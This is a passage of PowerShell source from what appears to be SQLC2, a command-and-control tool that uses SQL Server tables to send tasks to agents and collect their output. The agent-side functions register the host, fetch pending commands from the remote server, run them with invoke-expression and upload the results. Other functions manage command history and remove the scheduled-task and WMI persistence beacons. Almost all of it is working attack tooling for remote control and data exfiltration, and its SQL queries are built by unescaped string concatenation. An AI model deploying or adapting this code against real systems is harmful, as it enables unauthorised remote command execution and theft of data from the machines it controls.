1528 | if( -not $SuppressVerbose)
1529 | {
1530 | Write-Verbose -Message "$Instance : Connection Success."
1531 | }
1532 | }
1533 | else
1534 | {
1535 | if( -not $SuppressVerbose)
1536 | {
1537 | Write-Verbose -Message "$Instance : Connection Failed."
1538 | }
1539 | return
1540 | }
1541 |
1542 | # Setup query to grab commands
1543 | $Query = "SELECT * FROM dbo.c2agents"
1544 |
1545 | # Execute Query
1546 | $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose
1547 | $AgentCount = $TblResults | measure | select count -ExpandProperty count
1548 |
1549 | Write-Verbose -Message "$Instance : $AgentCount agents were found registered."
1550 | }
1551 |
1552 | End
1553 | {
1554 | # Return data
1555 | $TblResults
1556 | }
1557 | }
1558 |
1559 |
1560 | # ----------------------------------
1561 | # Set-SQLC2Command
1562 | # ----------------------------------
1563 | # Author: Scott Sutherland
1564 | Function Set-SQLC2Command
1565 | {
1566 | <#
1567 | .SYNOPSIS
1568 | This functions stores a command in the C2COMMAND table of the C2 SQL Server.
1569 | This command should be run against the C2 SQL Server.
1570 | .PARAMETER Username
1571 | SQL Server or domain account to authenticate with.
1572 | .PARAMETER Password
1573 | SQL Server or domain account password to authenticate with.
1574 | .PARAMETER Credential
1575 | SQL Server credential.
1576 | .PARAMETER Instance
1577 | SQL Server instance to connection to.
1578 | .PARAMETER DatabaseName
1579 | Database name that contains target table.
1580 | .PARAMETER ServerName
1581 | ServerName to run the command on. By default it is all nodes.
1582 | .PARAMETER Command
1583 | Command to run on the agent.
1584 | .EXAMPLE
1585 | PS C:\> Set-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -Command 'whoami' -ServerName host1
1586 | PS C:\> Set-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 -Command 'whoami' -ServerName host1
1587 | #>
1588 | [CmdletBinding()]
1589 | Param(
1590 | [Parameter(Mandatory = $false,
1591 | HelpMessage = 'SQL Server or domain account to authenticate with.')]
1592 | [string]$Username,
1593 |
1594 | [Parameter(Mandatory = $false,
1595 | HelpMessage = 'SQL Server or domain account password to authenticate with.')]
1596 | [string]$Password,
1597 |
1598 | [Parameter(Mandatory = $false,
1599 | HelpMessage = 'Windows credentials.')]
1600 | [System.Management.Automation.PSCredential]
1601 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
1602 |
1603 | [Parameter(Mandatory = $false,
1604 | ValueFromPipelineByPropertyName = $true,
1605 | HelpMessage = 'SQL Server instance to connection to.')]
1606 | [string]$Instance,
1607 |
1608 | [Parameter(Mandatory = $false,
1609 | ValueFromPipeline = $true,
1610 | ValueFromPipelineByPropertyName = $true,
1611 | HelpMessage = 'Database containing target C2 table.')]
1612 | [string]$Database,
1613 |
1614 | [Parameter(Mandatory = $false,
1615 | ValueFromPipeline = $true,
1616 | ValueFromPipelineByPropertyName = $true,
1617 | HelpMessage = 'ServerName of the agent.')]
1618 | [string]$ServerName,
1619 |
1620 | [Parameter(Mandatory = $false,
1621 | ValueFromPipeline = $true,
1622 | ValueFromPipelineByPropertyName = $true,
1623 | HelpMessage = 'Command to run on the agent.')]
1624 | [string]$Command,
1625 |
1626 | [Parameter(Mandatory = $false,
1627 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
1628 | [switch]$SuppressVerbose
1629 | )
1630 |
1631 | Begin
1632 | {
1633 | # Create data tables for output
1634 | $TblResults = New-Object -TypeName System.Data.DataTable
1635 | $TblDatabases = New-Object -TypeName System.Data.DataTable
1636 | $null = $TblDatabases.Columns.Add('ServerName')
1637 | $null = $TblDatabases.Columns.Add('Command')
1638 | $null = $TblDatabases.Columns.Add('Status')
1639 | }
1640 |
1641 | Process
1642 | {
1643 | # Parse computer name from the instance
1644 | $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance
1645 |
1646 | # Default connection to local default instance
1647 | if(-not $Instance)
1648 | {
1649 | $Instance = $env:COMPUTERNAME
1650 | }
1651 |
1652 | # Test connection to instance
1653 | $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
1654 | $_.Status -eq 'Accessible'
1655 | }
1656 |
1657 | # Setup agent node filtering based on servername
1658 | If(-not $ServerName){
1659 | $ServerName = "All"
1660 | }
1661 |
1662 | # Test connection
1663 | if($TestConnection)
1664 | {
1665 | if( -not $SuppressVerbose)
1666 | {
1667 | Write-Verbose -Message "$Instance : Connection Success."
1668 | Write-Verbose "$instance : Command: $Command"
1669 | }
1670 | }
1671 | else
1672 | {
1673 | if( -not $SuppressVerbose)
1674 | {
1675 | Write-Verbose -Message "$Instance : Connection Failed."
1676 | }
1677 | return
1678 | }
1679 |
1680 | # Set command for single agent
1681 | $Query = "INSERT dbo.C2COMMANDS (ServerName,Command,Status) VALUES ('$ServerName','$Command','pending')"
1682 |
1683 | # Execute Query
1684 | $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose
1685 |
1686 | Write-Verbose "$instance : Command added for $ServerName agent(s)."
1687 | }
1688 |
1689 | End
1690 | {
1691 | # Return data
1692 | $TblResults
1693 | }
1694 | }
1695 |
1696 |
1697 | # ----------------------------------
1698 | # Get-SQLC2Command
1699 | # ----------------------------------
1700 | # Author: Scott Sutherland
1701 | Function Get-SQLC2Command
1702 | {
1703 | <#
1704 | .SYNOPSIS
1705 | This command gets a command from a table on a remote c2 SQL Server.
1706 | This command should be run on the c2 agent system so it can pull down
1707 | any commands the C2 server has for it to execute.
1708 | .PARAMETER Username
1709 | SQL Server or domain account to authenticate with.
1710 | .PARAMETER Password
1711 | SQL Server or domain account password to authenticate with.
1712 | .PARAMETER Credential
1713 | SQL Server credential.
1714 | .PARAMETER Instance
1715 | SQL Server instance to connection to.
1716 | .PARAMETER DatabaseName
1717 | Database name that contains target table.
1718 | .PARAMETER Execute
1719 | Run all of the commands downloaded from the C2 server on the agent system.
1720 | .EXAMPLE
1721 | PS C:\> Get-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1
1722 | .EXAMPLE
1723 | PS C:\> Get-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -Execute
1724 | .EXAMPLE
1725 | PS C:\> Get-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1
1726 | #>
1727 | [CmdletBinding()]
1728 | Param(
1729 | [Parameter(Mandatory = $false,
1730 | HelpMessage = 'SQL Server or domain account to authenticate with.')]
1731 | [string]$Username,
1732 |
1733 | [Parameter(Mandatory = $false,
1734 | HelpMessage = 'SQL Server or domain account password to authenticate with.')]
1735 | [string]$Password,
1736 |
1737 | [Parameter(Mandatory = $false,
1738 | HelpMessage = 'Windows credentials.')]
1739 | [System.Management.Automation.PSCredential]
1740 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
1741 |
1742 | [Parameter(Mandatory = $false,
1743 | ValueFromPipelineByPropertyName = $true,
1744 | HelpMessage = 'SQL Server instance to connection to.')]
1745 | [string]$Instance,
1746 |
1747 | [Parameter(Mandatory = $false,
1748 | ValueFromPipeline = $true,
1749 | ValueFromPipelineByPropertyName = $true,
1750 | HelpMessage = 'Database containing target C2 table.')]
1751 | [string]$Database,
1752 |
1753 | [Parameter(Mandatory = $false,
1754 | ValueFromPipeline = $true,
1755 | ValueFromPipelineByPropertyName = $true,
1756 | HelpMessage = 'Execute commands from c2.')]
1757 | [switch]$Execute,
1758 |
1759 | [Parameter(Mandatory = $false,
1760 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
1761 | [switch]$SuppressVerbose
1762 | )
1763 |
1764 | Begin
1765 | {
1766 | # Create data tables for output
1767 | $TblResults = New-Object -TypeName System.Data.DataTable
1768 | }
1769 |
1770 | Process
1771 | {
1772 | # Parse computer name from the instance
1773 | $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance
1774 |
1775 | # Default connection to local default instance
1776 | if(-not $Instance)
1777 | {
1778 | $Instance = $env:COMPUTERNAME
1779 | }
1780 |
1781 | # Test connection to instance
1782 | $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
1783 | $_.Status -eq 'Accessible'
1784 | }
1785 | if($TestConnection)
1786 | {
1787 | if( -not $SuppressVerbose)
1788 | {
1789 | Write-Verbose -Message "$Instance : Connection Success."
1790 | Write-Verbose "$instance : Attempting to grab commands to execute."
1791 | }
1792 | }
1793 | else
1794 | {
1795 | if( -not $SuppressVerbose)
1796 | {
1797 | Write-Verbose -Message "$Instance : Connection Failed."
1798 | }
1799 | return
1800 | }
1801 |
1802 | # Check in the server
1803 | Register-SQLC2Agent -Username $Username -Password $Password -Instance $Instance -Database $Database -SuppressVerbose | Out-Null
1804 |
1805 | # Setup query to grab commands
1806 | $Query = "SELECT * FROM dbo.c2commands where status like 'pending' and (servername like '$env:COMPUTERNAME' or servername like 'All')"
1807 |
1808 | # Execute Query
1809 | $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose
1810 |
1811 | # check command count
1812 | $CommandCount = $TblResults | measure | select count -ExpandProperty count
1813 |
1814 | Write-Verbose "$instance : $CommandCount commands were found for $env:COMPUTERNAME."
1815 | }
1816 |
1817 | End
1818 | {
1819 | # Process command execution
1820 | if($Execute){
1821 |
1822 | # Loop through pending commands
1823 | $TblResults | ForEach-Object {
1824 |
1825 | # Grab command
1826 | $C2CommandId = $_.cid
1827 | $C2Command = $_.command
1828 |
1829 | # Execute command
1830 | Invoke-SQLC2Command -Username $Username -Password $Password -Instance $Instance -Database $Database -Verbose -Command $C2Command -Cid $C2CommandId
1831 | }
1832 | }else{
1833 |
1834 | # Return data
1835 | $TblResults
1836 | }
1837 | }
1838 | }
1839 |
1840 |
1841 | # ----------------------------------
1842 | # Invoke-SQLC2Command
1843 | # ----------------------------------
1844 | # Author: Scott Sutherland
1845 | Function Invoke-SQLC2Command
1846 | {
1847 | <#
1848 | .SYNOPSIS
1849 | This command should be run on the agent system. It will execute a OS command locally and
1850 | return the results to the C2 SQL Server.
1851 | .PARAMETER Username
1852 | SQL Server or domain account to authenticate with.
1853 | .PARAMETER Password
1854 | SQL Server or domain account password to authenticate with.
1855 | .PARAMETER Credential
1856 | SQL Server credential.
1857 | .PARAMETER Instance
1858 | SQL Server instance to connection to.
1859 | .PARAMETER DatabaseName
1860 | Database name that contains target table.
1861 | .PARAMETER Command
1862 | The OS command to run.
1863 | .EXAMPLE
1864 | PS C:\> Invoke-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1
1865 | PS C:\> Invoke-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1
1866 | #>
1867 | [CmdletBinding()]
1868 | Param(
1869 | [Parameter(Mandatory = $false,
1870 | HelpMessage = 'SQL Server or domain account to authenticate with.')]
1871 | [string]$Username,
1872 |
1873 | [Parameter(Mandatory = $false,
1874 | HelpMessage = 'SQL Server or domain account password to authenticate with.')]
1875 | [string]$Password,
1876 |
1877 | [Parameter(Mandatory = $false,
1878 | HelpMessage = 'Windows credentials.')]
1879 | [System.Management.Automation.PSCredential]
1880 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
1881 |
1882 | [Parameter(Mandatory = $false,
1883 | ValueFromPipelineByPropertyName = $true,
1884 | HelpMessage = 'SQL Server instance to connection to.')]
1885 | [string]$Instance,
1886 |
1887 | [Parameter(Mandatory = $false,
1888 | ValueFromPipeline = $true,
1889 | ValueFromPipelineByPropertyName = $true,
1890 | HelpMessage = 'Database containing target C2 table.')]
1891 | [string]$Database,
1892 |
1893 | [Parameter(Mandatory = $false,
1894 | ValueFromPipeline = $true,
1895 | ValueFromPipelineByPropertyName = $true,
1896 | HelpMessage = 'The OS command to run.')]
1897 | [string]$Command,
1898 |
1899 | [Parameter(Mandatory = $true,
1900 | ValueFromPipeline = $true,
1901 | ValueFromPipelineByPropertyName = $true,
1902 | HelpMessage = 'This is the unique command id provide from the server.')]
1903 | [Int]$Cid,
1904 |
1905 | [Parameter(Mandatory = $false,
1906 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
1907 | [switch]$SuppressVerbose
1908 | )
1909 |
1910 | Begin
1911 | {
1912 | # Create data tables for output
1913 | $TblResults = New-Object -TypeName System.Data.DataTable
1914 | }
1915 |
1916 | Process
1917 | {
1918 | Write-Verbose "$env:COMPUTERNAME : Running command $Cid"
1919 | Write-Verbose "$env:COMPUTERNAME : Command: $Command"
1920 |
1921 | # Run the command
1922 | try{
1923 | $CommandResults = invoke-expression "$Command"
1924 | Write-Verbose "$env:COMPUTERNAME : Command complete."
1925 | $CommandStatus = "success"
1926 | }catch{
1927 | Write-Verbose "$env:COMPUTERNAME : Command failed. Aborting."
1928 | $CommandStatus = "failed"
1929 | }
1930 |
1931 | # Parse computer name from the instance
1932 | $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance
1933 |
1934 | # Default connection to local default instance
1935 | if(-not $Instance)
1936 | {
1937 | $Instance = $env:COMPUTERNAME
1938 | }
1939 |
1940 | # Test connection to instance
1941 | $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
1942 | $_.Status -eq 'Accessible'
1943 | }
1944 | if($TestConnection)
1945 | {
1946 | if( -not $SuppressVerbose)
1947 | {
1948 | Write-Verbose -Message "$Instance : Connection Success."
1949 | }
1950 | }
1951 | else
1952 | {
1953 | if( -not $SuppressVerbose)
1954 | {
1955 | Write-Verbose -Message "$Instance : Connection Failed."
1956 | }
1957 | return
1958 | }
1959 |
1960 | # Check in the server
1961 | Register-SQLC2Agent -Username $Username -Password $Password -Instance $Instance -Database $Database -SuppressVerbose | Out-Null
1962 |
1963 | # Setup query to grab commands
1964 | Write-Verbose -Message "$Instance : Uploading command results to C2 server."
1965 | $Query = "
1966 | -- update command request from server
1967 | UPDATE dbo.C2COMMANDS SET lastupdate = (select GETDATE ()),result = '$CommandResults',status='$CommandStatus',command='$Command'
1968 | WHERE CID like $Cid"
1969 |
1970 | # Execute Query
1971 | $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose
1972 |
1973 | Write-Verbose "$instance : Upload complete."
1974 | }
1975 |
1976 | End
1977 | {
1978 | # Return data
1979 | $TblResults
1980 | }
1981 | }
1982 |
1983 |
1984 | # ----------------------------------
1985 | # Get-SQLC2Result
1986 | # ----------------------------------
1987 | # Author: Scott Sutherland
1988 | Function Get-SQLC2Result
1989 | {
1990 | <#
1991 | .SYNOPSIS
1992 | This function gets command results from the C2 SQL Server.
1993 | .PARAMETER Username
1994 | SQL Server or domain account to authenticate with.
1995 | .PARAMETER Password
1996 | SQL Server or domain account password to authenticate with.
1997 | .PARAMETER Credential
1998 | SQL Server credential.
1999 | .PARAMETER Instance
2000 | SQL Server instance to connection to.
2001 | .PARAMETER DatabaseName
2002 | Database name that contains target table.
2003 | .PARAMETER ServerName
2004 | Filter by server name.
2005 | .PARAMETER Cid
2006 | Filter by command id.
2007 | .PARAMETER Status
2008 | Filter by status.
2009 | .EXAMPLE
2010 | PS C:\> Get-SQLC2Result -Instance "SQLServer1\STANDARDDEV2014" -Database database1
2011 | PS C:\> Get-SQLC2Result -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -Cid 1
2012 | PS C:\> Get-SQLC2Result -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -Status "Success"
2013 | PS C:\> Get-SQLC2Result -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -ServerName "Server1"
2014 | PS C:\> Get-SQLC2Result -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1
2015 | #>
2016 | [CmdletBinding()]
2017 | Param(
2018 | [Parameter(Mandatory = $false,
2019 | HelpMessage = 'SQL Server or domain account to authenticate with.')]
2020 | [string]$Username,
2021 |
2022 | [Parameter(Mandatory = $false,
2023 | HelpMessage = 'SQL Server or domain account password to authenticate with.')]
2024 | [string]$Password,
2025 |
2026 | [Parameter(Mandatory = $false,
2027 | HelpMessage = 'Windows credentials.')]
2028 | [System.Management.Automation.PSCredential]
2029 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
2030 |
2031 | [Parameter(Mandatory = $false,
2032 | ValueFromPipelineByPropertyName = $true,
2033 | HelpMessage = 'SQL Server instance to connection to.')]
2034 | [string]$Instance,
2035 |
2036 | [Parameter(Mandatory = $false,
2037 | ValueFromPipeline = $true,
2038 | ValueFromPipelineByPropertyName = $true,
2039 | HelpMessage = 'Database containing target C2 table.')]
2040 | [string]$Database,
2041 |
2042 | [Parameter(Mandatory = $false,
2043 | ValueFromPipeline = $true,
2044 | ValueFromPipelineByPropertyName = $true,
2045 | HelpMessage = 'Filter by server name.')]
2046 | [string]$ServerName,
2047 |
2048 | [Parameter(Mandatory = $false,
2049 | ValueFromPipeline = $true,
2050 | ValueFromPipelineByPropertyName = $true,
2051 | HelpMessage = 'Filter by Status.')]
2052 | [ValidateSet("pending","success","failed")]
2053 | [string]$Status,
2054 |
2055 | [Parameter(Mandatory = $false,
2056 | ValueFromPipeline = $true,
2057 | ValueFromPipelineByPropertyName = $true,
2058 | HelpMessage = 'Filter by command ID.')]
2059 | [string]$Cid,
2060 |
2061 | [Parameter(Mandatory = $false,
2062 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
2063 | [switch]$SuppressVerbose
2064 | )
2065 |
2066 | Begin
2067 | {
2068 | # Create data tables for output
2069 | $TblResults = New-Object -TypeName System.Data.DataTable
2070 |
2071 | # Create ServerName filter
2072 | if($ServerName){
2073 | $FilterServerName = "WHERE servername like '$ServerName'"
2074 | }else{
2075 | $FilterServerName = ""
2076 | }
2077 |
2078 | # Create Status filter
2079 | if($Status){
2080 | $FilterStatus = "WHERE status like '$Status'"
2081 | }else{
2082 | $FilterStatus = ""
2083 | }
2084 |
2085 |
2086 | # Create ServerName filter
2087 | if($Cid){
2088 | $FilterCid = "WHERE cid like '$Cid'"
2089 | }else{
2090 | $FilterCid = ""
2091 | }
2092 | }
2093 |
2094 | Process
2095 | {
2096 | # Parse computer name from the instance
2097 | $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance
2098 |
2099 | # Default connection to local default instance
2100 | if(-not $Instance)
2101 | {
2102 | $Instance = $env:COMPUTERNAME
2103 | }
2104 |
2105 | # Test connection to instance
2106 | $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
2107 | $_.Status -eq 'Accessible'
2108 | }
2109 | if($TestConnection)
2110 | {
2111 | if( -not $SuppressVerbose)
2112 | {
2113 | Write-Verbose -Message "$Instance : Connection Success."
2114 | Write-Verbose "$instance : Attempting to grab pending and processed commands."
2115 | }
2116 | }
2117 | else
2118 | {
2119 | if( -not $SuppressVerbose)
2120 | {
2121 | Write-Verbose -Message "$Instance : Connection Failed."
2122 | }
2123 | return
2124 | }
2125 |
2126 | # Setup query to grab commands
2127 | $Query = "
2128 | SELECT * FROM dbo.c2commands
2129 | $FilterServerName
2130 | $FilterStatus
2131 | $FilterCid
2132 | "
2133 |
2134 | # Execute Query
2135 | $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose
2136 |
2137 | # check command count
2138 | $CommandCount = $TblResults.row.count
2139 |
2140 | Write-Verbose "$instance : $CommandCount commands were found."
2141 | }
2142 |
2143 | End
2144 | {
2145 | # Return data
2146 | $TblResults
2147 | }
2148 | }
2149 |
2150 |
2151 | # ----------------------------------
2152 | # Remove-SQLC2Command
2153 | # ----------------------------------
2154 | # Author: Scott Sutherland
2155 | Function Remove-SQLC2Command
2156 | {
2157 | <#
2158 | .SYNOPSIS
2159 | This command clears the command history on the remote c2 SQL Server.
2160 | .PARAMETER Username
2161 | SQL Server or domain account to authenticate with.
2162 | .PARAMETER Password
2163 | SQL Server or domain account password to authenticate with.
2164 | .PARAMETER Credential
2165 | SQL Server credential.
2166 | .PARAMETER Instance
2167 | SQL Server instance to connection to.
2168 | .PARAMETER DAC
2169 | Connect using Dedicated Admin Connection.
2170 | .PARAMETER DatabaseName
2171 | Database name that contains target table.
2172 | .PARAMETER ServerName
2173 | Server name to clear command history for.
2174 | .EXAMPLE
2175 | PS C:\> Remove-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1
2176 | .EXAMPLE
2177 | PS C:\> Remove-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -ServerName Server1
2178 | .EXAMPLE
2179 | PS C:\> Remove-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1
2180 | #>
2181 | [CmdletBinding()]
2182 | Param(
2183 | [Parameter(Mandatory = $false,
2184 | HelpMessage = 'SQL Server or domain account to authenticate with.')]
2185 | [string]$Username,
2186 |
2187 | [Parameter(Mandatory = $false,
2188 | HelpMessage = 'SQL Server or domain account password to authenticate with.')]
2189 | [string]$Password,
2190 |
2191 | [Parameter(Mandatory = $false,
2192 | HelpMessage = 'Windows credentials.')]
2193 | [System.Management.Automation.PSCredential]
2194 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
2195 |
2196 | [Parameter(Mandatory = $false,
2197 | ValueFromPipelineByPropertyName = $true,
2198 | HelpMessage = 'SQL Server instance to connection to.')]
2199 | [string]$Instance,
2200 |
2201 | [Parameter(Mandatory = $false,
2202 | ValueFromPipeline = $true,
2203 | ValueFromPipelineByPropertyName = $true,
2204 | HelpMessage = 'Database containing target C2 table.')]
2205 | [string]$Database,
2206 |
2207 | [Parameter(Mandatory = $false,
2208 | ValueFromPipeline = $true,
2209 | ValueFromPipelineByPropertyName = $true,
2210 | HelpMessage = 'Server to clear command history for.')]
2211 | [string]$ServerName,
2212 |
2213 | [Parameter(Mandatory = $false,
2214 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
2215 | [switch]$SuppressVerbose
2216 | )
2217 |
2218 | Begin
2219 | {
2220 | # Create data tables for output
2221 | $TblResults = New-Object -TypeName System.Data.DataTable
2222 |
2223 | if($ServerName){
2224 | $ServerFilter = "WHERE servername like '$ServerName'"
2225 | }else{
2226 | $ServerFilter = ""
2227 | }
2228 | }
2229 |
2230 | Process
2231 | {
2232 | # Parse computer name from the instance
2233 | $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance
2234 |
2235 | # Default connection to local default instance
2236 | if(-not $Instance)
2237 | {
2238 | $Instance = $env:COMPUTERNAME
2239 | }
2240 |
2241 | # Test connection to instance
2242 | $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
2243 | $_.Status -eq 'Accessible'
2244 | }
2245 | if($TestConnection)
2246 | {
2247 | if( -not $SuppressVerbose)
2248 | {
2249 | Write-Verbose -Message "$Instance : Connection Success."
2250 | Write-Verbose "$instance : Attempting to clear command history from $Instance."
2251 | }
2252 | }
2253 | else
2254 | {
2255 | if( -not $SuppressVerbose)
2256 | {
2257 | Write-Verbose -Message "$Instance : Connection Failed."
2258 | }
2259 | return
2260 | }
2261 |
2262 | # Setup query to grab commands
2263 | $Query = "DELETE FROM dbo.C2COMMANDS
2264 | $ServerFilter"
2265 |
2266 | # Execute Query
2267 | $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose
2268 | }
2269 |
2270 | End
2271 | {
2272 | Write-Verbose "$instance : Done."
2273 | }
2274 | }
2275 |
2276 |
2277 | # ----------------------------------
2278 | # Remove-SQLC2Agent
2279 | # ----------------------------------
2280 | # Author: Scott Sutherland
2281 | Function Remove-SQLC2Agent
2282 | {
2283 | <#
2284 | .SYNOPSIS
2285 | This command clears the agents registered on the remote c2 SQL Server.
2286 | .PARAMETER Username
2287 | SQL Server or domain account to authenticate with.
2288 | .PARAMETER Password
2289 | SQL Server or domain account password to authenticate with.
2290 | .PARAMETER Credential
2291 | SQL Server credential.
2292 | .PARAMETER Instance
2293 | SQL Server instance to connection to.
2294 | .PARAMETER DatabaseName
2295 | Database name that contains target table.
2296 | .PARAMETER ServerName
2297 | Server name to clear command history for.
2298 | .EXAMPLE
2299 | PS C:\> Remove-SQLC2Agent -Instance "SQLServer1\STANDARDDEV2014" -Database database1
2300 | .EXAMPLE
2301 | PS C:\> Remove-SQLC2Agent -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -ServerName Server1
2302 | .EXAMPLE
2303 | PS C:\> Remove-SQLC2Agent -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1
2304 | #>
2305 | [CmdletBinding()]
2306 | Param(
2307 | [Parameter(Mandatory = $false,
2308 | HelpMessage = 'SQL Server or domain account to authenticate with.')]
2309 | [string]$Username,
2310 |
2311 | [Parameter(Mandatory = $false,
2312 | HelpMessage = 'SQL Server or domain account password to authenticate with.')]
2313 | [string]$Password,
2314 |
2315 | [Parameter(Mandatory = $false,
2316 | HelpMessage = 'Windows credentials.')]
2317 | [System.Management.Automation.PSCredential]
2318 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
2319 |
2320 | [Parameter(Mandatory = $false,
2321 | ValueFromPipelineByPropertyName = $true,
2322 | HelpMessage = 'SQL Server instance to connection to.')]
2323 | [string]$Instance,
2324 |
2325 | [Parameter(Mandatory = $false,
2326 | ValueFromPipeline = $true,
2327 | ValueFromPipelineByPropertyName = $true,
2328 | HelpMessage = 'Database containing target C2 table.')]
2329 | [string]$Database,
2330 |
2331 | [Parameter(Mandatory = $false,
2332 | ValueFromPipeline = $true,
2333 | ValueFromPipelineByPropertyName = $true,
2334 | HelpMessage = 'Server to clear command history for.')]
2335 | [string]$ServerName,
2336 |
2337 | [Parameter(Mandatory = $false,
2338 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
2339 | [switch]$SuppressVerbose
2340 | )
2341 |
2342 | Begin
2343 | {
2344 | # Create data tables for output
2345 | $TblResults = New-Object -TypeName System.Data.DataTable
2346 |
2347 | if($ServerName){
2348 | $ServerFilter = "WHERE servername like '$ServerName'"
2349 | }else{
2350 | $ServerFilter = ""
2351 | }
2352 | }
2353 |
2354 | Process
2355 | {
2356 | # Parse computer name from the instance
2357 | $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance
2358 |
2359 | # Default connection to local default instance
2360 | if(-not $Instance)
2361 | {
2362 | $Instance = $env:COMPUTERNAME
2363 | }
2364 |
2365 | # Test connection to instance
2366 | $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
2367 | $_.Status -eq 'Accessible'
2368 | }
2369 | if($TestConnection)
2370 | {
2371 | if( -not $SuppressVerbose)
2372 | {
2373 | Write-Verbose -Message "$Instance : Connection Success."
2374 | Write-Verbose "$instance : Attempting to clear agent(s) from $Instance."
2375 | }
2376 | }
2377 | else
2378 | {
2379 | if( -not $SuppressVerbose)
2380 | {
2381 | Write-Verbose -Message "$Instance : Connection Failed."
2382 | }
2383 | return
2384 | }
2385 |
2386 | # Setup query to grab commands
2387 | $Query = "DELETE FROM dbo.C2AGENTS
2388 | $ServerFilter"
2389 |
2390 | # Execute Query
2391 | $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose
2392 | }
2393 |
2394 | End
2395 | {
2396 | Write-Verbose "$instance : Done."
2397 | }
2398 | }
2399 |
2400 |
2401 | # ----------------------------------
2402 | # Uninstall-SQLC2AgentPs
2403 | # ----------------------------------
2404 | # Author: Scott Sutherland
2405 | Function Uninstall-SQLC2AgentPs
2406 | {
2407 | <#
2408 | .SYNOPSIS
2409 | This command removes the SQLC2 scheduled task and WMI subscription agent beacons from the current system.
2410 | .PARAMETER Username
2411 | SQL Server or domain account to authenticate with.
2412 | .PARAMETER Password
2413 | SQL Server or domain account password to authenticate with.
2414 | .PARAMETER Credential
2415 | SQL Server credential.
2416 | .PARAMETER Instance
2417 | .EXAMPLE
2418 | PS C:\> Uninstall-SQLC2AgentPs -verbose
2419 | #>
2420 | [CmdletBinding()]
2421 | Param(
2422 | [Parameter(Mandatory = $false,
2423 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
2424 | [switch]$SuppressVerbose
2425 | )
2426 |
2427 | Begin
2428 | {
2429 | Write-Verbose "Attempting to remove the SQLC2 persistence methods."
2430 | }
2431 |
2432 | Process
2433 | {
2434 | # Remove the schedule tasks
2435 | Write-Verbose "Remove Scheduled Task."
2436 | if((Get-ScheduledTask -TaskName "SQLC2AgentPS*" | Measure-Object | Select Count -ExpandProperty Count) -eq 1)
2437 | {
2438 | try{
2439 | Unregister-ScheduledTask -TaskName "SQLC2AgentPS" -Confirm:$false
2440 | Write-Verbose " - Scheduled task removed."
2441 | }catch{
2442 | Write-Verbose " - Task could not be removed."
2443 | }
2444 | }else{
2445 | Write-Verbose " - SQLC2PS Scheduled task does not exist."
2446 | }
2447 |
2448 | <#
